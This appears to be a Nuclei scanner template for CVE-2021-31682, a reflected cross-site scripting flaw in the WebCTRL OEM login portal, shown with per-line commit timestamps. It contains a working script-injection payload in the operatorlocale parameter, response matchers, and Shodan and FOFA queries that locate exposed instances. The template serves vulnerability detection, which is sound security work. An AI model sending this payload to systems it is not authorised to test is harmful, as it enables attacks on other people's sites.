2021-10-30 10:04:42 +00:00
id : CVE-2021-31682
info :
2022-11-29 05:48:16 +00:00
name : WebCTRL OEM <= 6.5 - Cross-Site Scripting
2021-10-30 10:04:42 +00:00
author : gy741,dhiyaneshDk
severity : medium
2022-04-22 10:38:41 +00:00
description : WebCTRL OEM 6.5 and prior is susceptible to a cross-site scripting vulnerability because the login portal does not sanitize the operatorlocale GET parameter.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade to a patched version of WebCTRL OEM that addresses the XSS vulnerability (CVE-2021-31682).
2021-10-30 10:04:42 +00:00
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2021-31682
- https://github.com/3ndG4me/WebCTRL-OperatorLocale-Parameter-Reflected-XSS
2022-05-17 09:18:12 +00:00
- https://www.automatedlogic.com/en/products-services/webctrl-building-automation-system/
2023-04-12 10:55:48 +00:00
- http://packetstormsecurity.com/files/164707/WebCTRL-OEM-6.5-Cross-Site-Scripting.html
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/cvemon
2021-10-30 10:04:42 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-10-30 10:04:42 +00:00
cve-id : CVE-2021-31682
cwe-id : CWE-79
2024-05-31 19:23:20 +00:00
epss-score : 0.0116
epss-percentile : 0.84847
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:automatedlogic:webctrl:*:*:*:*:*:*:*:*
2021-10-30 10:04:42 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : automatedlogic
product : webctrl
2024-06-07 10:04:29 +00:00
shodan-query :
- html:"/_common/lvl5/dologin.jsp"
- http.html:"/_common/lvl5/dologin.jsp"
2024-05-31 19:23:20 +00:00
fofa-query : body="/_common/lvl5/dologin.jsp"
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,webctrl,xss,packetstorm,automatedlogic
2021-10-30 10:04:42 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-10-30 10:04:42 +00:00
- method : GET
path :
2021-10-31 11:26:16 +00:00
- '{{BaseURL}}/index.jsp?operatorlocale=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'
2021-10-30 10:04:42 +00:00
matchers-condition : and
matchers :
- type : word
part : body
2021-10-31 11:26:16 +00:00
words :
- '"><script>alert(document.domain)</script>'
- 'common/lvl5'
2023-07-11 19:49:27 +00:00
condition : and
2021-10-30 10:04:42 +00:00
- type : word
2021-10-31 11:26:16 +00:00
part : header
2021-10-30 10:04:42 +00:00
words :
- "text/html"
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2024-06-08 16:02:17 +00:00
# digest: 4a0a00473045022100de541093311a11b542ffb55fadd51a1ae533297011c9b779a1fda633748ed8c6022021e04972005fa23af21f046c557622c7542ff0c37f40ec7175b5c4b568946c87:922c64590222798bb761d5b6d8e72950